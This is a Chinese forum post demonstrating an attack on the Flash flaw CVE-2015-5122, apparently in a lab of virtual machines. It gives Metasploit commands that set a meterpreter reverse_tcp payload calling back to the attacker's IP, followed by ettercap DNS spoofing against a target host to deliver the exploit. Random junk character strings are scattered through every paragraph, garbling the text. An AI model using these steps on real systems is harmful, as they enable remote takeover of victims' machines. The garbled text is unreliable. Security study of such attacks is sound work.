找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1367|回复: 0
打印 上一主题 下一主题

cve2015-5122漏洞实例演示虚拟机

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

4 ~+ h& W' s' q; @$ P$ y) R 二、cve2015-5122漏洞实例演示虚拟机 * R5 ~( b. x" q% ~. J

% A- [1 C& D5 u( O4 m

, B' t) G" j2 @% c& Q% ]2 f* R: U   关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: . A) n% ]( f8 b) P% u/ C9 m; S) w* _

% c$ w. S B1 I1 w# i

9 S% l* g1 N+ v3 P search cve-2015-5122如图: # h/ n+ n2 ]* v- z4 |" _

# m2 J" Q! l4 p* w/ U3 i/ }

2 O9 U$ H: q, i5 t5 N   ) A: F# t# D. M' ~/ h1 V4 @

6 @% w3 L0 W3 @. f6 `" V

5 ?( n; K0 F" \( q4 `. \6 [ 下面我们敲如下命令: 0 b4 d1 E1 J% {0 q! M/ i

: @, W1 M$ k, n+ e; j

( H* V% N- b& y# w use exploit/multi/browser/adobe_flash_opaque_background_uaf " Z# E" ]# e: z+ [$ ^+ w1 |0 }3 i

. p6 S6 d7 G' L

, c) Q+ V) y8 j! i set PAYLOAD windows/meterpreter/reverse_tcp - p3 J3 G- ?- a1 g% w4 M; Y/ B

* t4 A3 q. c. ^

# D+ t+ |& l) p set LHOST 192.168.0.109 2 G1 S# W3 J2 ?8 B

t) n3 J% D4 Z! r1 q% ~0 C; M( ?

1 ~' A1 p# P6 E( k set URIPATH /                        /*根目录*/ . z- ^6 m4 P+ ^; Q5 r4 b

0 O9 }9 v- }# A8 Q, [2 ?, o

0 s. P9 A" H' z9 q% \# K set SRVHOST 192.168.0.109  //192.168.0.109kaili ip地址 ' i y. ?' O& b. ?

% D/ M6 x1 `) x+ s. A

5 V' y+ |# k7 I+ F+ u7 d4 x1 [% H1 d set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 . Z [0 k2 B! h K9 B

3 ^ d5 v P$ Z% A% k2 c# A

; G( [, |# H: V/ r 然后show options如图: & U! B+ i4 E. p" A y

3 i8 X2 U" Y, r

5 x% j1 r, Y! X3 h r6 }   6 |& a- I7 X) A, C

# }7 W* U' l( E% c

( q1 m4 n2 B8 B; L: k: I 一切都设置好了,执行exploit下面我们进etc/ettercap目录下设置etc.dns如图:
5 U7 ] ^6 p5 h b1 _
8 V; [" z0 i4 L( D: Y5 O4 O

. t% r" A. H9 S$ z/ V

2 U: H. V9 g$ n ^9 C7 d 然后ettercap -G命令打开ettercap,我们要攻击的主机ip192.168.0115 6 K4 K5 r' y, G1 R' m5 Q! c$ Z

4 M; a, K& o! v7 r6 Q# g0 x

, B2 w% `- H2 v& o3 ^ Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf + D( v, H; b- I9 q& z8 s

* g% G* J, e# W: g Q

. Q* A' U) ]. y/ V3 V8 g0 M; r; z   . I5 U+ ^+ K! F8 ^6 r$ B

" n; F7 z6 L8 s/ r( s) K

' S3 ?; ~6 C* s/ | 成功了,这时候我们断开ettercap,如图: & {: o7 y7 e1 w1 k" t/ ]& S/ p

, A* t( @ }& M9 k

, D3 ~* E7 c* L8 m: i' y+ w   # Q% G2 B" a; ~* p: k4 s/ X

5 J. h! Q+ y$ u& {- }" ^

, N" q2 a1 g* T* I1 X Screenshot如图: " Z7 T( }7 d: V( A. A' o

4 H# e- B& L8 x& c7 @9 E% @+ b; O

# b6 }" H' O' W8 y' ~   6 v7 G" i. m3 c4 y6 J. l

! V& p# ^( X$ y2 O6 J% x

7 |1 N9 V: I+ t6 P9 b7 E$ b! I 1 _) C. G9 X x: I N T% y& _" W

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表